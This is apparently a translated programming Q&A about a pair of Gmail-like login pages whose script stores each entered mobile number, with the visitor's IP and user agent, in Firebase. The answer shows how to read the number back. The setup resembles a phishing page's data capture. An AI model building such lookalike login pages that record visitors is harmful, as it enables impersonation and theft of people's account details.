我有两个类似于gmail的html登录页面。在第一页我输入了一个移动号码,它被保存在firebase数据库中,而不是点击下一个按钮,登录页面出现,这里在标签中我想从firebase数据库中检索mobileno。
// Initialize Firebase
firebase.initializeApp(config);
var userAgent = window.navigator.userAgent;
var req = new XMLHttpRequest();
var ip;
var timestamp;
req.onload = function () {
var d = new Date();
var dateformat = d.toTimeString();
dateformat = dateformat.split(' ')[0];
ip = JSON.parse(req.response).ip;
timestamp = d.getDate() + '/' + d.getMonth() + '/' + d.getFullYear() + ' ' + dateformat + ':' + d.getMilliseconds();
//savedata(ip,userAgent, d.getDate()+'/'+ d.getMonth()+'/'+ d.getFullYear()+' '+dateformat+':'+ d.getMilliseconds());
console.log(ip + ' ' + userAgent + ' ' + dateformat);
//Use ip asynchronously here
};
req.open("GET", "https://api.ipify.org/?format=json");
req.send();
var database = firebase.database();
var nextbutton = document.getElementById('Button1');
var mobileno = document.getElementById('identifierId');
nextbutton.addEventListener('click', function () {
//var d = new Date();
//var dateformat = d.toTimeString();
//dateformat = dateformat.split(' ')[0];
//window.location.href = "http://stackoverflow.com";
var ip = JSON.parse(req.response).ip;
// savedata(ip, userAgent, d.getDate() + '/' + d.getMonth() + '/' + d.getFullYear() + ' ' + dateformat + ':' + d.getMilliseconds());
console.log(ip + ' ' + userAgent);
database.ref('/email').push({
mobile: mobileno.value,
ip: ip,
useragent: userAgent,
timestamp: timestamp
}
)
//console.log("meesage sent" + mobileno.value)
})

<label id="Label1"></label> // Here i want to retrieve the mobile no fro DB
&#13;
答案 0 :(得分:0)
要检索手机号码:
firebase.database().ref('/email').on('value', function(snap) {
snap.forEach(child => {
const info = child.val();
const mobileNum=info.mobile;
});
});
因为你有这个数据库:
email
pushid
mobile: num
ip :ip